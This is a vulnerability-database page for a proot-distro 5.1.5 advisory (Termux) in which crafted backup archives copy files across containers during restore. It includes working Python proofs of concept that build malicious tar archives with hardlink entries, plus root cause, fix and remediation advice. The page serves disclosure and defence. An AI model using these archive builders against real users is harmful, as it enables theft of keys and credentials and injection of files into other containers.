Severity by source
AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Local file-processing surface (AV:L), no attacker privileges but victim must restore the archive (PR:N/UI:R), impact crosses the container isolation boundary (S:C) with high read and write but no availability loss.
Primary rating from Vendor (https://github.com/termux/proot-distro).
CVSS VectorVendor: https://github.com/termux/proot-distro
Lifecycle Timeline
3DescriptionCVE.org
Affected Component
- Package: proot-distro
- Affected command:
restore - Attack surface: Host-side Termux CLI processing a user-supplied backup archive
- Vulnerability type: Container Isolation Bypass / Cross-Container Read and Write
---
Affected Versions
| Component | Version |
|---|---|
| proot-distro | 5.1.5 (confirmed affected) |
| Test distro | Alpine Linux |
| Architecture | aarch64 |
| Device | Samsung Galaxy A23 |
| Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |
---
Summary
When restoring a crafted backup archive, proot-distro restore accepts hardlink entries whose source path references a different installed container.
The restore logic resolves the hardlink source from the archive's linkname field and copies the referenced file into the container identified by the archive entry.
Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.
As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.
---
Proof of Concept #1 - Cross-Container File Disclosure
All testing was performed using self-owned containers and harmless marker data only.
Step 1 - Create a victim container and marker file
proot-distro install alpine --name victim
proot-distro login victim -- sh -lc '
mkdir -p /root
printf "PROOF-12345\n" > /root/proof.txt
'Verification:
proot-distro login victim -- cat /root/proof.txt
PROOF-12345---
Step 2 - Create an attacker container
proot-distro install alpine --name attacker---
Step 3 - Build a crafted archive
python3 -c '
import tarfile
tf = tarfile.open("malicious.tar", "w")
d = tarfile.TarInfo("attacker/rootfs/exfil")
d.type = tarfile.DIRTYPE
d.mode = 0o755
tf.addfile(d)
h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key")
h.type = tarfile.LNKTYPE
h.linkname = "victim/rootfs/root/proof.txt"
h.mode = 0o600
tf.addfile(h)
tf.close()
'---
Step 4 - Restore the crafted archive
proot-distro restore ./malicious.tar---
Step 5 - Read the copied file from the attacker container
proot-distro run attacker -- cat /exfil/stolen_keyObserved output:
PROOF-12345This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.
---
Proof of Concept #2 - Cross-Container File Injection
Step 1 - Create attacker-controlled source data
proot-distro install alpine --name attacker
proot-distro login attacker -- sh -lc '
mkdir -p /root
printf "ATTACKER_DATA\n" > /root/source.txt
'---
Step 2 - Create a victim container
proot-distro install alpine --name victim---
Step 3 - Build a crafted archive
python3 -c '
import tarfile
tf = tarfile.open("write_test.tar", "w")
h = tarfile.TarInfo(
"victim/rootfs/root/copied_from_attacker.txt"
)
h.type = tarfile.LNKTYPE
h.linkname = "attacker/rootfs/root/source.txt"
h.mode = 0o600
tf.addfile(h)
tf.close()
'---
Step 4 - Restore the crafted archive
proot-distro restore ./write_test.tar---
Step 5 - Verify file injection into the victim container
cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt"Observed output:
ATTACKER_DATAThis demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.
---
Impact
An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.
Observed impacts include:
- Disclosure of files from other installed containers.
- Injection of attacker-controlled files into other installed containers.
- Exposure of SSH private keys.
- Exposure of API credentials.
- Exposure of configuration files containing secrets.
- Exposure of application databases stored inside container rootfs directories.
The issue does not escape the proot-distro containers directory but allows archive-controlled movement of data across otherwise isolated containers.
---
Root Cause
During hardlink processing, the restore implementation resolves the source container from the archive's linkname field.
The resolved path is validated to remain inside a container directory, but the implementation does not verify that the hardlink source container is the same container currently being restored.
As a result, archive-controlled metadata determines which installed container is used as the source of the copy operation.
---
Proposed Fix
link_container, link_src = _dest_path(member.linkname)
if link_src is None:
continue
if link_container != container_name:
continue
link_src = _safe_dest(
link_container,
link_src,
follow_final=True
)This preserves existing path traversal protections while restoring the expected isolation boundary between containers.
---
Additional Notes
- Issue reproduced on the official Termux package repository.
- No root access was used.
- No third-party data was accessed.
- Testing used only self-owned containers and harmless marker data.
- Cross-container disclosure reproduced using the marker value
PROOF-12345. - Cross-container file injection reproduced using the marker value
ATTACKER_DATA.
AnalysisAI
Cross-container isolation bypass in proot-distro 5.1.5 and earlier (Termux) lets a crafted backup archive read and write files across otherwise isolated containers when a victim runs 'proot-distro restore'. Because the restore logic trusts the archive's hardlink 'linkname' to name the source container without verifying it matches the container being restored, an attacker who convinces a user to restore a malicious .tar can exfiltrate secrets (SSH keys, API credentials, databases) from one container into an attacker-controlled one, or inject attacker data into a different container. Publicly available exploit code exists (full PoCs are embedded in the GHSA advisory); no public active exploitation is known.
Technical ContextAI
proot-distro is a Termux CLI tool that installs and manages multiple userspace Linux distributions ('containers') under $PREFIX/var/lib/proot-distro/containers/ on Android, using PRoot for unprivileged chroot-like isolation. The flaw is in the 'restore' command's tar extraction path, specifically hardlink (LNKTYPE) handling: _dest_path()/_safe_dest() resolve the hardlink source from the archive-supplied linkname and correctly keep it inside the top-level containers directory, but never assert that the source container equals the destination container being restored. This is a classic CWE-668 (Exposure of Resource to Wrong Sphere) issue - archive-controlled metadata selects which security sphere (container) a file is read from or written to, so path-traversal defenses that only enforce a directory prefix are insufficient once multiple sibling containers share that prefix. The affected package is pkg:pip/proot-distro (Python).
RemediationAI
Vendor-released patch: 5.1.6 - upgrade proot-distro to 5.1.6 or later (release https://github.com/termux/proot-distro/releases/tag/v5.1.6; fix commit https://github.com/termux/proot-distro/commit/98aff324b7d8500ff75a8ca9ac087ee636be4716), which enforces that a restore archive may contain only a single container and rejects any hardlink linkname resolving to a different container. Until upgraded, do not restore backup archives from untrusted or unverified sources, and only restore archives you created yourself; treat a supplied .tar the way you would treat untrusted code. As a stronger compensating control, inspect the archive before restoring (for example 'tar tvf archive.tar') and reject it if any member path or hardlink linkname references a container name other than the one you intend to restore - the trade-off is manual effort and that hand inspection of hardlink targets is error-prone. Reducing the number of simultaneously installed containers also limits what a malicious restore can reach, at the cost of convenience.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-668 – Exposure of Resource to Wrong Sphere
View allSame technique Path Traversal
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-50415
GHSA-7h3g-4w2f-fj2f